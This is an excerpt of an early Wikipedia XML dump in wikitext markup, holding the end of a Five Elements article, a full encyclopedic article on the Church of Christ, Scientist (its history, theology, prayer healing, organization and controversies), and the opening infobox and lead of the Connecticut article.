| &lt;nowiki&gt;|||&lt;/nowiki&gt; (&amp;#9776; &amp;#20094; ''qián'') &lt;nowiki&gt;||:&lt;/nowiki&gt; (&amp;#9777; &amp;#20812; ''duì'')
|-
| Water
| Water
| &lt;nowiki&gt;:|:&lt;/nowiki&gt; (&amp;#9781; &amp;#22350; ''k&amp;#462;n'')
|-
|}

== See also ==

* [[Chinese music]]
* [[Five elements (Japanese)]]
* [[Four elements]]
* [[Xingyiquan]]
* [[Pushing hands]]
* [[Qi]]
* [[Qigong]]
* [[Taijitu]]
* [[Tao]]
* [[Zang Fu theory]]
* [[Feng Shui]]

== References ==

* [[Feng Youlan]] (Yu-lan Fung), ''A History of Chinese Philosophy'', volume 2, p. 13
* [[Joseph Needham]], ''Science and Civilization in China'', volume 2, pp. 262-23

== External links ==

* [http://www.acupuncture.com.au/education/theory/thefiveelements.html Five Element Information] Five Element interrelationships, concordances and causative factors.

* [http://www.char4u.com/chinese-zodiac-sign.php Chinese Zodiac Chart] Find your Chinese Zodiac sign based on your date of birth.

[[Category:Chinese astronomy]]
[[Category:Chinese martial arts terms]]
[[Category:Chinese thought]]
[[Category:Traditional Chinese medicine]]
[[Category:Numerology]]

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    <title>Church of Christ, Scientist</title>
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{{merge|Christian Science}}
{{mergefrom|First Church of Christ, Scientist}}

'''Church of Christ, Scientist''', often known as '''Christian Science''', is a religious denomination that arose in New England in the late nineteenth century. It considers itself to be a [[Christian denomination]] and is generally classed as such. It has about 2,000 branches (local churches) in over 70 countries, with The First Church of Christ, Scientist in [[Boston, Massachusetts]] being the headquarters of all the denomination's activities.

The church was founded by the [[USA|American]] woman [[Mary Baker Eddy]] in [[1879]] following a personal healing experience, which she believed to be the result of her Christian faith. The [[Bible]] and Eddy's book ''[[Science and Health with Key to the Scriptures]]'' are together the church's key [[doctrine|doctrinal]] sources and have been ordained as the church's pastor.

The First Church of Christ, Scientist is widely known for its publications, especially the [[Christian Science Monitor]], a [[Day|daily]] [[newspaper]] published internationally in print and on the [[Internet]].  The Church is controversial for its encouragement of [[prayer]] for [[healing]] when others might choose [[modern medicine]]. There have also been periodic tensions with those Christian denominations who reject the idea it is a Christian denomination because of unorthodox tenets it holds.

Christian Science has no connection with [[Scientology]], which was founded about 75 years after Christian Science and which is not based on Christianity. It is also not connected to [[Religious Science]], a recent denomination in line with the New Thought tradition.

== Theology and healing ==
=== Origins and early development ===
[[Image:Marybaker.jpg|thumb|right|Mary Baker Eddy]]
In 1866, [[Mary Baker Eddy]] (known at the time as Mary Glover) was healed of an injury &quot;that neither medicine nor surgery could reach...&quot; (Ret 24:12) &lt;!-- Source: http://www.marybakereddylibrary.org/marybakereddy/retrospection.jhtml?reference=ret%2024&amp;marks=false --&gt;. According to her personal accounts, when she appeared to be near death, she called out for her Bible.  She turned it to [[Book of Matthew|Matthew]] 9:2, which tells the story of Jesus healing a man who was sick with [[palsy]], and after pondering the meaning of the passage, found herself suddenly well and able to get up. She believed that the healing came from her belief as a Christian.  As she recounted in her autobiography, ''Retrospection and Introspection'':

&lt;blockquote&gt;
Even to the [[homeopathic]] physician who attended me, and rejoiced in my recovery, I could not then explain the ''modus'' of my relief. I could only assure him that the divine Spirit had wrought the miracle—a miracle which later I found to be in perfect scientific accord with divine law.
&lt;/blockquote&gt;

She referred to this event as her &quot;Great Discovery&quot;, the &quot;falling apple&quot; that led to her &quot;discovery how to be well&quot; herself (ibid.)  (Later, she gave it the name of &quot;[[Christian Science]]&quot;.) Not knowing how it had occurred, she spent the next three years studying the Bible, experimenting and [[prayer|praying]] to discover if the experience was repeatable and if there were knowable laws that governed it.  She claimed that she was able to heal others and began to be called out to the bedsides of those whom the medical faculty had not been able to help.  A [[physician|doctor]] attending a severe case in [[New Hampshire]] is said to have witnessed her healing one of his patient and asked if she could explain her system. At the time, she said only that [[God]] did it. But he urged her to write about it and soon she began her main work explaining her system of Christian healing, ''[[Science and Health with Key to the Scriptures]]''.

Soon others began to ask her to teach her healing method and she claimed that her students were able to approximate her ability to heal.  The readers of her book gathered into an organization and gradually developed into a church, with Mary Baker Eddy as its [[pastor]].

==== Possible influences ====
Although she had little formal education, Mary Baker Eddy spent much of her youth reading works in [[natural philosophy]], [[logic]], and [[moral science]], as well as the [[Bible]] and other Christian works.  Prior to her recovery in [[1866]], she had investigated a number of common healing methods of her day, including [[allopathy]], [[homeopathy]], and [[hydropathy]].  But it was her experience as a patient of [[Phineas Quimby|P.P. Quimby]] that was to have one of the most profound effects, and certainly the most controversial, on her religious development.

Mary Baker Eddy asked her husband at the time, Daniel Patterson, to seek out Quimby's help for her in 1862, during a severe illness.  Until Quimby's death in 1866, Eddy relied heavily on Quimby for her physical health.  At the very least, he provided inspiration for Eddy's early writing on Christian Science; in fact, Quimby was to use the phrase &quot;Christian Science&quot; (in 1863).  Some feel that there are remarkable similarities between the published works of Quimby and very early versions of &quot;Science and Health.&quot;
In fact William Adams used the term &quot;Christian Science&quot; before Quimby in a book he wrote, ''The Elements of Christian Science'' first printed in 1850, and a later edition in 1857.

The extent of Quimby's influence on Eddy is controversial.  Eddy would later claim that she in fact provided much of the foundation of ''his'' thoughts on healing.  Those more sympathetic to Quimby and the [[New Thought]] religions stemming from his teachings find this to be unlikely, arguing that Quimby introduced some key elements that would appear in Christian Science as early as 1859.  Also, Eddy was in fragile health prior to her &quot;Great Discovery&quot;, and her letters to Quimby reveal a high degree of dependence. Despite this, Christian Science practice does not resemble Quimby's healing system, nor are their respective theologies remotely similar. Biographer Gillian Gill, who is relatively sympathetic to Eddy, writes that Quimby &quot;had a profound influence on&quot; Eddy although her religion was quite different from his (in her ''Mary Baker Eddy'' (1998), 146). The American religious scholar [[Ann Taves]] probes for specific differences and argues that &quot;Quimby's rejection of special revelation was in keeping with both Spiritualism and the later New Thought tradition, while Eddy's insistence on revelation aligned Christian Science more strategically with evangelical Protestantism as represented by Edwards and Wesley and with [[Seventh-day Adventism]]&quot; (in her ''Fits, Trances, and Visions'' (1999), 218).

An essay entitled &quot;The Metaphysical Religion of Hegel&quot; by Francis Lieber, written in November 1865, and copied in April 1866, was also to have an infuence on Mrs. Eddy and Christian Science. This essay can be found on page 68 of a book entitled ''Mrs. Eddy Purloins from Hegel: Newly Discovered Source Reveals Amazing Plagiarisms In Science and Health'' by Walter M. Haushalter, (1936). Written on the cover of the Lieber document in Eddy's own words are &quot;N. B. This is Metaphysical Basis of Healing and Science of Health. Same as &quot;Christ-power&quot; and &quot;Truth-power&quot;. &quot;Christ-power&quot; and &quot;Truth-power&quot; refer to two other essays by Francis Lieber on Hegel that she also read. See also ''The Healing Revelations of Mary Baker Eddy'' by Martin Gardner (1993) for other references to the Lieber document.

=== Theology ===
In ''[[Science and Health with Key to the Scriptures]]'', Eddy argues that given the absolute goodness and perfection of [[God]], sin, disease, and death were not created by Him, and therefore cannot be truly real. She bases this reading on Genesis 1, calling that the true record of creation in contrast to Genesis 2, the false record of creation obscuring the true (which occurred when &quot;a mist went up from the face of the ground&quot;). Rather than being [[ontology|ontologically]] real, in Christian Science evil and its manifestations are instead terrible lies about God and His creation. This, it contends, is what Jesus meant when he said that &quot;the devil is a liar and the father of it&quot; (John 8:44). The demand for Christians, therefore, is to &quot;unmask&quot; the devil's lies through Christ, revealing the true and eternal perfection of God's creation. Eddy therefore called evil &quot;error&quot; and felt it could be remedied through a better spiritual understanding of humanity's relationship to God. She contended that this understanding was what enabled the [[Bible|biblical]] [[Jesus]] to heal.

This teaching is the foundation of the Christian Science principle that disease &amp;#8211; and any other adversity &amp;#8211; can be cured through prayerful efforts, made possible only by God's grace, to fully understand this spiritual relationship. It is encapsulated in ''Science and Health'' as &quot;The [[Scientific Statement of Being]]&quot;. It is read aloud in churches and Sunday schools at the end of every Sunday service, along with I John 3:1-3 and a biblical benediction:

::''There is no life, truth, intelligence, nor substance in matter.''
::''All is infinite Mind and its infinite manifestation, for God is All-in-all.''
::''Spirit is immortal Truth; matter is mortal error.''
::''Spirit is the real and eternal; matter is the unreal and temporal.''
::''Spirit is God, and man is His image and likeness.''
::''Therefore man is not material; he is spiritual.'' (p. 468)

This belief in the unreality of imperfection, stemming from the allness of God, is the basis of Christian Scientists' characteristic reliance on [[faith healing|prayer]] in place of traditional medical care, often with the aid of [[Christian Science Practitioner|Christian Science practitioners]]. 

Christian Science practitioners are listed in the [[Christian Science Journal]], with the permission of the church's [[Christian Science Board of Directors|Board of Directors]], their only form of official recognition by the church and among the Christian Science laity. (Some &quot;unlisted&quot; practitioners maintain active practices as well, but they do so without the prestige that a ''Journal'' listing brings. Additionally, medical plans that cover Christian Science treatment generally only cover treatment provided by Journal-listed practitioners.)

Practitioners treat patients, in Christian Science parlance, through prayer. Such treatment often, though not always, is for health-related problems, and a practitioner's patient may request help for personal problems as well, such as relationships, problems of employment or housing and so on. Practitioners may also charge modest fees for their services. Christian Scientists believe that through scientific study of the inspired word of the 'Bible,' especially Jesus' words and works, one can learn to heal. Healing is understood not as an end in itself, but a natural result of drawing closer to God. Healing sin is particularly important. Eddy called this the &quot;emphatic purpose&quot; of Christian Science, writing that it is also sometimes more difficult than healing sickness, because &quot;while mortals love to sin, they do not love to be sick&quot; (Rudimental Divine Science, 2).

Christian Scientists celebrate the sacraments of [[baptism]] and [[eucharist]] in an entirely non-material way. &quot;Our baptism,&quot; wrote Eddy, &quot;is purification from all error...Our Eucharist is spiritual communion with the one God. Our bread, 'which cometh down from heaven,' is Truth. Our cup is the cross. Our wine the inspiration of Love, the draught the Master drank and commended to his followers&quot; (Science and Health 35). The only ritual in the Christian Science church is voluntary kneeling at the Sacrament service twice a year, while repeating the Lord's prayer. Marriage is not a sacrament in Christian Science, but it holds a special place as the context in which a man and a woman can partner to help one another grow into a fuller &quot;demonstration,&quot; or lived understanding, of their spiritually complete natures as expressions of Father-Mother God.

Jesus Christ is both &quot;Wayshower&quot; and savior in Christian Science theology. Eddy distinguished between Jesus, the human man, and Christ, the eternal spirit of God that &quot;animated&quot; and inspired Jesus in his unparalleled ministry. Because of his special status due to the virgin birth and his pure, unselfish nature, Jesus voluntarily faced his struggle in Gethsemane, death, resurrection, and ascension to show humanity that no phase of mortal existence was beyond God's redeeming love. Eddy wrote: &quot;Jesus of Nazareth taught and demonstrated man's oneness with the Father, and for this we owe him endless homage&quot; (Science and Health 18). She taught that we are not Christians until we live, to some degree, the Christ-spirit Jesus suffered and rose to give us as his legacy. This was her understanding of his saying that &quot;he that believeth on me, the works that I do shall he do also; and greater works than these shall he do, because I go unto my Father&quot; (John 14:12). No one's ministry, however, can parallel or equal that of Jesus in Christian Science. Eddy even stipulated in her Church Manual that &quot;careless comparison or irreverant reference to Christ Jesus is abnormal in a Christian Scientist and is prohibited&quot; (41).

Christian Scientists are [[trinitarian]], but in an unorthodox way. Eddy calls the Godhead &quot;Father Mother,&quot; signifying not an androgynous God but a God &quot;without body, parts or passions,&quot; as in the [[Westminster creed]], who nevertheless functions both to govern and comfort. She calls Christ &quot;the spiritual idea of sonship&quot; that Jesus fully lived, or &quot;demonstrated,&quot; for the sake of those who would follow him. She calls the Holy Ghost &quot;divine Science or the Holy Comforter,&quot; the spiritual principles of Christian Science operating as the Holy Ghost in the world. (See Science and Health, 331).

=== Spiritual healing in the material world ===
Christian Science's focus on the idea of spiritual healing led to some measure of stir in the theological realm at first. Under the eye of the scientific revolutions of the 19th century, many mainstream denominations had relegated spiritual healing to the realm of a one-time [[dispensationalism|dispensation]] rather than a modern practice. During Christian Science's early days of rapid growth, claims of healing with Mary Baker Eddy's and the Science and Health's teachings became a subject of heated debate at Christian conventions, but for the same reason it also became a subject of reawakened interest in the [[1960s]] and [[1970s]].

While reliance on the theology of spiritual healing is important to Christian Scientists, it is also not officially required of them, which has led to mixed legal opinions as to what constitutes negligence in its use. Orthodox practitioners treating a patient who decides to switch to medical care will typically no longer pray for that person.  &quot;Mixing&quot; of methods is discouraged among orthodox Christian Scientists because, according to Eddy, they work from opposite standpoints. In Christian Science, God made &quot;man&quot; perfect, so &quot;prayerful treatment&quot; works from the standpoint of perfection, seeing man in &quot;reality&quot; as God made him; whereas medical science works from the standpoint that something is wrong, which must first be diagnosed, then fixed. 

Christian Science teaches that spiritual healing is a natural result of following Jesus' teachings. Healing was a major part of Jesus' ministry, and Christian Scientists see no basis for excluding it from the practice of modern day Christians.  They believe that Jesus proved his teachings by his healings.

The Church claims to have over 50,000 testimonies of healing through Christian Science treatment alone. While most of these testimonies represent ailments neither diagnosed nor treated by medical professionals, the Church does require three other people to vouch for any testimony published in its official organ, the ''[[Christian Science Journal]]''. However, some critics of the Church complain that the verification guidelines are not strict enough, allowing verifiers who have not witnessed the claimed healing to &quot;vouch for [the healing's] accuracy based on their knowledge of [the claimant].&quot; (Taken from the Church's [http://www.spirituality.com/journal/testimony_guidelines.jhtml &quot;Testimony guidelines&quot;].)

Christian Scientists who wish to become public practitioners of Christian Science—spiritual healers—complete an intensive two-week &quot;Primary&quot; class.  The instruction in this class is provided by a teacher.  Teachers are added every three years by the church from the pool of active public practitioners. To become a teacher, they must first be selected by the church, then they take another class designated &quot;Normal&quot;.  Both classes are based on the Bible and the writings of Mary Baker Eddy.  In particular, the &quot;Primary&quot; class focuses upon the chapter entitled &quot;Recapitulation&quot; in ''Science and Health with Key to the Scriptures''.  This chapter uses the Socratic method of teaching and is where the &quot;Scientific Statement of Being&quot; is located.  The &quot;Normal&quot; class focuses upon the Platform of Christian Science which is also found in ''[[Science and Health with Key to the Scriptures]]'', but begins on page 330 in the chapter entitled &quot;Science of Being&quot;.

Ultimately, modern medical practice is more important to Christian Scientists than is believed by many outsiders looking in at the Church. Mrs. Eddy, the founder of the Church, said one may accept certain temporary aid from &quot;materia medica&quot; if a person is in such pain that he is unable to pray for himself. 

[&quot;If patients fail to experience the healing power of Christian Science, and think they can be benefited by certain ordinary physical methods of medical treatment, then the Mind-physician should give up such cases, and leave invalids free to resort to whatever other systems they fancy will afford relief.&quot; Science and Health with Key to the Scriptures page 443]

While the Church does not require members to forgo medical treatment, most Christian Scientists do so voluntarily because of their faith and they feel they have a history of success with this alternative form of healing. Indeed, outsiders believe that the social pressures to eschew medical care is so strong among Christian Scientists that those who feel they must see a doctor endanger their social standing in the congregation, and depending on the policies of their local branch church, may be stripped of any church office or position they hold.  However, the vast majority of Christian Scientists would feel this perspective is not borne out in their own actual experiences around choosing medical care.

== Organization ==
[[Image:Christian Science Mother Church, Boston, Massachusetts.JPG|thumb|right|300px|The Mother Church, [[Boston, Massachusetts|Boston]], [[Massachusetts]].]]

The Mother Church is the church's world headquarters, and is located in [[Boston, Massachusetts|Boston]], [[Massachusetts]]. (An international daily newspaper, the ''[[Christian Science Monitor]]'', founded by Eddy in [[1908]] and winner of seven [[Pulitzer prize]]s, is published by the church through the [[Christian Science Publishing Society]].)

Branch Christian Science churches and Christian Science Societies are subordinate to the Mother Church, but are self-governed in the sense that they have their own constitutions, bank accounts, assets, etc., but in order to be recognised must abide by the practices that Mary Baker Eddy laid out in the ''[[Manual of The Mother Church]]''. Church services, along with every other aspect of church government, are regulated by the Manual, a constitution of sorts written by Eddy, and consisting of various regulations covering everything from the duties of officers, to discipline, to provisions for church meetings and publications. 

The Manual enacted a rule of law over the Mother Church, though some controversy and historical ambiguity surround the Manual's current edition (the 89th), causing a minority of Christian Scientists to dispute the Manual's authority and authenticity.

Churches worldwide hold a one-hour service each Sunday, consisting of hymns, prayer, and readings from the ''[[King James Version]]'' of the [[Bible]] and ''[[Science and Health with Key to the Scriptures]]''. These readings are the weekly Lesson-Sermon, which is read aloud at all Sunday services in all Christian Science churches worldwide, and is studied by individuals at home throughout the preceding week. The Lesson, as it is informally called, is compiled by a committee at the Mother Church, and is made up of alternating passages from the Bible and Science and Health.

There are 26 set topics for the Lesson-Sermon, selected by Eddy herself. The topics follow each other in an unchanging, predetermined order, and the progression starts over mid-year so that every week in the year has a topic devoted to it. 

The topics are:

*God
*Sacrament
*Life
*Truth
*Love
*Spirit
*Soul
*Mind
*Christ Jesus
*Man
*Substance
*Matter
*Reality
*Unreality
*Are Sin, Disease and Death Real?
*Doctrine of Atonement
*Probation After Death
*Everlasting Punishment
*Adam and Fallen Man
*Mortals and Immortals
*Soul and Body
*Ancient and Modern Necromancy, alias Mesmerism and Hypnotism, Denounced
*God the Preserver of Man
*Is the Universe, Including Man, Evolved by Atomic Force?
*Christian Science

In years in which there are 53 Sundays, the topic &quot;Christ Jesus&quot; occurs a third time, in December.

There is also a Lesson-Sermon for Thanksgiving Day.

Because there are no clergy in the church, branch church leadership consists of two Readers: the First Reader, who reads the passages from Science and Health at Sunday services, and the Second Reader, who reads the passages from the Bible. First Readers determine the hymns to be sung on Sundays, but otherwise hew to the text supplied by Boston, and order of service set out by the Manual. To be the First Reader in one's branch church is one of the highest and most prestigious positions the lay Christian Scientist can aspire to.

Churches also hold a one-hour Wednesday evening testimony meeting, with similar readings and accounts of healing from prayer by those attending. At these services, the First Reader may choose to read extended passages from church literature; they often choose Science and Health or Mary Baker Eddy's other writings.  They may also choose alternate Bible translations at these services (i.e. [[J B Phillips New Testament|Phillips]]).

Recently some branch churches, following the lead of the Mother Church in Boston, have started to hold a social fellowship meeting at the conclusion of Sunday services. Branch churches also sponsor occasional lectures given by Christian Science practitioners or teachers.

== History: Eddy's death to 1980 ==
&lt;!---(This is to be on their history from [[1910]] to [[1980]]---&gt;
To be written.

== Recent history ==
Beginning in the mid-1980s, church executives undertook an ambitious foray into electronic broadcast media. A monthly half-hour television production was followed by a nightly half-hour news show on the [[Discovery Channel]], anchored by veteran journalist [[John Hart]]. The Church then purchased a Boston [[cable TV]] station for elaborate in-house programming production. In parallel, the church purchased a [[shortwave radio]] station and syndicated radio production to [[National Public Radio]]. However, revenues fell short of optimistic predictions by church management, who had ignored early warnings by members and media experts.  Most of these operations closed in well under a decade. Public accounts in both the mainstream and trade media reported that the church lost approximately $250 million on these ventures.

The media collapse brought the church to the brink of bankruptcy.  However, with the 1991 publication of ''[[The Destiny of The Mother Church]]'' by the late [[Bliss Knapp]], the church secured a $90 million bequest from the Knapp trust.  The trust dictated that the book be published as &quot;Authorized Literature,&quot; with neither modification nor comment. Historically the church had censured Knapp for deviating at several points from Eddy's teaching, and had refused to publish the work. The church's archivist, fired in anticipation of the book's publication, wrote to branch churches to inform them of the book's history.  Many Christian Scientists thought the book violated the church's [[Manual of The Mother Church|bylaws]], and the editors of the church's religious periodicals and several other church employees resigned in protest. Alternate beneficiaries subsequently sued to contest the church's claim it had complied fully with the will's terms, and the church ultimately received only half of the original sum.  

The fallout of the new media debacle also sparked a minor revolt among some prominent church members. In late 1993, a group of Christian Scientists filed suit against the Board of Directors, alleging a willful disregard for the [[Manual of The Mother Church|Manual of the Mother Church]] in its financial dealings.  The suit was thrown out by the Supreme Judicial Court of Massachusetts in 1997, but a lingering discontent with the church's financial matters persists to this day.

In spite of its early meteoric rise, it appears likely that the Christian Science Church has suffered a decline in membership over recent decades. Though the Church is prohibited by the [[Manual of The Mother Church|Manual]] from publishing membership figures, the number of branch churches in the United States has fallen steadily since World War II.  A 1992 study in the ''Christian Research Journal'' found that church membership had fallen from 269,000 in the 1930s to about 150,000.  Some believe membership has fallen further since then, however current estimates for church membership vary widely, from under 100,000 to 400,000. 

Dr. Stephen Barrett has reported that since 1971, the number of practitioners and teachers listed in the Christian Science Journal has fallen from about 5,000 to about 1,160 and the number of churches has fallen from about 1,800 to about 1,000.

In 2005 the Boston Globe reported that the church is considering consolidating Boston operations into fewer buildings and leasing out space in buildings it owns. Church official Philip G. Davis noted that the administration and Colonnade buildings have not been fully used for many years and that vacancy increased after staff reductions last year. The church posted an $8 million financial loss in fiscal 2003, and in 2004 cut 125 jobs, a quarter of the staff, at [[The Christian Science Monitor]]. Davis said however that &quot;the financial situation right now is excellent&quot; that the church is not facing financial problems. &lt;!--Boston Globe October 13, 2005 p. A1---&gt;

==Notable Christian-Scientists==
Notable Christian Scientists, and issues discussed about them, are dealt with at the [[List of Christian Scientists (religious denomination)]]. Although a few entertainers and politicians had enough of a role in the history of the faith to merit brief mention here. For example Big Band leader [[Kay Kyser]] was a [[Christian Science practitioner]] who was honored by the faith for being one of their leading lecturers. He also ran their TV-film department. [[Alan Young]] of [[Mister Ed]] founded a broadcast division for the faith. Lastly British diplomat [[Philip Kerr, 11th Marquess of Lothian|Philip Kerr]] was very vocal in the British Christian Science community. 

Perhaps not as notable, but interesting, is Dr. [[Laurance Doyle]] of [[SETI]] who is perhaps the best known Christian Scientist who is also a scientist in the secular sense. (Specifically he is a physicist)

Other notable Christian Scientists include actress Ginger Rogers, Carol Channing (whose father was a very famous practitioner), Val Kilmer, Georgia Engel, Peter Horton, Jean Stapleton, Howard Hawks, King Vidor, Frank Capra, Dalton Trumbo, Danielle Steel, Theodore Dreiser, Mike Nesmith, Lionel Hampton, Shannon Miller, Doug Jenkins, and Conrad Nagel.

==Public controversy==
Christian Science has been subject to significant criticism and public controversy throughout its history. The most highly publicized controversy surrounds Christian Science and medicine. While church members point out that followers are free to choose to seek traditional medical treatment, most rely heavily or exclusively on healing by prayer (Christian Scientists distinguish their method from “[[faith healing]],” arguing that this term refers merely to blind faith, while their method is a well-defined mental process which leads to healing.) 

This issue is most controversial regarding children. In a small number of nationally publicized cases in the early [[1990s]], prosecutors charged parents belonging to the Christian Science church, whose children had died of curable ailments without being medically treated, with [[murder]] or [[manslaughter]]. Most of these parents were legally exonerated. Some outside observers see these tragedies, particularly among children, as unnecessary and irrational. Many members of the church also believe that the parents involved in these suits received poor guidance from church members, and failed to properly understand and apply the process of healing through Christian Science.  They add that there are vastly more malpractice lawsuits against MDs, and that no healers are immune from the American obsession of suing for vast sums.

Since the episodes with regard to The Monitor Channel and the Bliss Knapp book, the church has at times been accused of attempting to silence dissenters by methods such as unlisting them as practitioners in the Christian Science Journal, or revoking their membership.  Some dissenting groups continue to solicit support among current members of the church.

There has also at times been tensions over primarily theological and religious concerns. This is perhaps most important in the so called [[Bible Belt]]. While members of the Christian Science church claim their religion is based in, reconcilable with, and part of Christianity (being based upon the teachings of Jesus as interpreted by Mary Baker Eddy), there are orthodox Christian theologians and others that have disputed this.[http://www.carm.org/christian_science.htm]  These critics state that Christian Science' diverges too greatly from basic tenets of Christianity. They often cite the faith's views on the nature/existence of evil or sin, the divinity and resurrection of Jesus, the trinity, and a few others as meaning that the faith can no longer be considered a [[Christian denomination]]. Members of the faith argue that these groups exaggerate any differences in interpretation on these issues. Interestingly a quip often used to discuss this attributed to the non-Christian [[George Bernard Shaw]][http://www.atheists.org/christianity/xtianScience.html] who was a friend of the well-known Christian Scientist [[Nancy Astor, Viscountess Astor|Viscountess Nancy Astor]]. The quip states &quot;Christian Science is neither Christian
nor scientific&quot; and has been quoted by many Evangelical Christians in relation to the faith.[http://bibleforums.org/forum/showthread.php?p=185675] Related to the quote most of the mainstream scientific community believes that the reliance on spiritual healing, and some of the Church's other beliefs, are decidedly non-scientific.  

The medical community (and others) have taken some interest in spirituality and healing.  The [[Harvard Medical School]] Department of Continuing Education continues to offer a course entitled &quot;Spirituality and Healing in Medicine; The Importance of the Integration of Mind/Body Practices and Prayer&quot; which the Mother Church has supported.  In addition, there have been research projects on the effectiveness of prayer on recovering heart attack patients.  Some of these studies have shown a small benefit to prayer or other spiritual treatment in recovery.  However, it is important to note that the patients in these studies received some form of spiritual healing ''in addition to'', not instead of, conventional medical care.  Additionally, later studies with larger numbers of heart patients showed prayer has no effect on recovery, hospital readmission or death [http://news.bbc.co.uk/2/hi/health/4681771.stm].

==See also==
*[[Christian Science]] - description of the beliefs/principles termed Christian Science.
*[[Christian Science Reading Room]]

==External links==
===The Christian Science Church===
* [http://www.tfccs.com/ Home Page of The First Church of Christ, Scientist]
* [http://www.marybakereddylibrary.org/ The Mary Baker Eddy Library for the Betterment of Humanity]
* [http://www.tfccs.org/gv/csps/csj/testimonies.jhtml &quot;Reports of Healing&quot;] from the ''Christian Science Journal''
* [http://www.spirituality.com Spirituality.com] The official website of the [[Christian Science Publishing Society]]
* [http://www.tfccs.com/weeklybiblelesson The current weekly Bible Lesson in Webcast]
* [http://www.csmonitor.com/ The Christian Science Monitor (International Daily Newspaper)]
* [http://www.quackwatch.org/01QuackeryRelatedTopics/cs.html Christian Science Statistics: Practitioners, Teachers, and Churches]

===Writings of Mary Baker Eddy===
*[http://www.spirituality.com/dt/toc_sh.jhtml Science and Health with Key to the Scriptures (1906 edition)] official site of the [[Christian Science Publishing Society|CSPS]].
*[http://www.christianscience.org/SAH.html Science and Health with Key to the Scriptures, Final 1910 Edition], independently published by [http://www.aequus.org AEQUUS]
*[http://www.christianscience.org/PWIntro.html Prose Works], Other Published Writings of MBE
*[http://www.christianscience.org/Manual.html Manual of The Mother Church], The First Church of Christ Scientist in Boston, Massachusetts (88th Edition)
*{{gutenberg|no=3458|name=Science and Health, with Key to the Scriptures}}
*{{gutenberg|no=10437|name=Pulpit and Press (6th Edition)}}
*{{gutenberg|no=12321|name=Rudimental Divine Science}}

===Christian Science Weblogs and Sites===
*[http://lauramatthewscs.blogspot.com Laura Matthews, C.S.]
*[http://tosto.com Mario Tosto, CSB]
*[http://kimckorinek.com Kim C. Korinek, C.S.]
*[http://www.christianscience.org Healing Unlimited]
*[http://www.christianscience.org/Practitioners.htm List of Practitioners], independently-maintained
*[http://www.aequus.org AEQUUS Institute]
*[http://www.endtime.org/ Christian Science Endtime Center]
*[http://www.mbeinstitute.org Mary Baker Eddy Institute]
*[http://www.longyear.org/ The Longyear Museum]

===Christian Apologetics Concerning Christian Science===
*[http://www.apologeticsindex.org/c56.html Apologetics Index on Christian Science]
*[http://www.carm.org/christian_science.htm CARM Apologetics: Christian Science]
*[http://www.christianway.org/ Christian Way: Former Christian Scientists for Jesus Christ]
*[http://www.watchman.org/profile/ChrSciProfile.htm The Watchman Expositor: Christian Science Profile]

===Outsiders' views of Christian Science===
* Willa Cather and Georgine Milmine. ''The Life of Mary Baker G. Eddy and the History of Christian Science'' (1909) began as a famous Muckraking magazine series 1907-08.  It was based on elaborate original research and interviews.  Scholars who are not Christian Scientists rely on it, but church members strongly disfavor it. It was reprinted with an important new introduction by the University of Nebraska Press in 1993.
*''God's Perfect Child: Living and Dying in the Christian Science Church'' by Caroline Fraser (2000), an outsider's analysis of the entire spectrum of Church activities. Not sold in Christian Science Reading Rooms.
*[http://www.gutenberg.org/etext/3187 ''Christian Science''] Mark Twain's famous, vitriolic 1907 polemic mocking Mary Baker Eddy, her writings, and the Church's financial arrangements; of Christian Science, Twain writes &quot;Its god is Mrs. Eddy first, then the Dollar.&quot; Project Gutenberg classifies it as &quot;Christian Science -- controversial literature.&quot;

[[Category:Christian Science| ]]

[[da:Christian Science]]
[[de:Christian Science]]
[[eo:Kristana Scienco]]
[[fr:Science chrétienne]]
[[it:Chiesa Scientista]]
[[hu:Keresztény Tudomány (felekezet)]]
[[nl:Christian Science]]
[[ja:クリスチャン・サイエンス]]
[[pl:Christian Science]]
[[sv:Kristen Vetenskap]]
[[zh:基督教科學派]]</text>
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    <title>Connecticut</title>
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      <comment>/* Famous residents */</comment>
      <text xml:space="preserve">{{US state |
  Name            = Connecticut |
  Fullname        = State of Connecticut |
  Flag            = Connecticut state flag.png |
  Flaglink      = [[Flag of Connecticut]] |
  Seal            = Connecticut state seal.png |
  Map             = Map of USA highlighting Connecticut.png |
  Nickname        = The Constitution State |
  Capital         = [[Hartford, Connecticut|Hartford]] |
  LargestCity     = [[Bridgeport, Connecticut|Bridgeport]] |
  Governor        = [[M. Jodi Rell]] ([[Republican Party (United States)|R]])|
  Senators        = [[Chris Dodd]] ([[Democratic Party (United States)|D]])
[[Joe Lieberman]] (D) |
  PostalAbbreviation = CT |
  OfficialLang    = ''English'' |
  AreaRank        = 48&lt;sup&gt;th&lt;/sup&gt; |
  TotalArea       = 14,371 |
  LandArea        = 12,559 |
  WaterArea       = 1,809 |
  PCWater         = 12.6 |
  PopRank         = 29&lt;sup&gt;th&lt;/sup&gt; |
  2000Pop         = 3,405,565 |
  DensityRank     = 4&lt;sup&gt;th&lt;/sup&gt; |
  2000Density     = 271.40 |
  AdmittanceOrder = 5&lt;sup&gt;th&lt;/sup&gt; |
  AdmittanceDate  = [[January 9]], [[1788]] |
  TimeZone        = [[Eastern Standard Time Zone|Eastern]]: [[Coordinated Universal Time|UTC]]-5/[[Daylight saving time|-4]] |
  Longitude       = 71°47'W to 73°44'W |
  Latitude        = 40°58'N to 42°3'N |
  Width           = 113 |
  Length          = 177 |
  HighestElev     = 725 |
  MeanElev        = 152 |
  LowestElev      = 0 |
  ISOCode         = US-CT |
  Website         = www.ct.gov
}}
'''Connecticut''' ([[IPA chart for English|pronounced]] {{IPA|/kə&amp;#712;n&amp;#603;t&amp;#618;kət/; the second C is silent}}) is a [[U.S. state|state]] of the [[United States]], part of the [[New England (U.S.)|New England]] region, as well as the southernmost state in New England and the wealthiest state in the country. Connecticut was one of the [[13 colonies|thirteen colonies]] that revolted against British rule in the [[American Revolution]]. 

[[USS Connecticut|USS ''Connecticut'']] was named in honor of this state.

== History ==
{{main|History of Connecticut}}

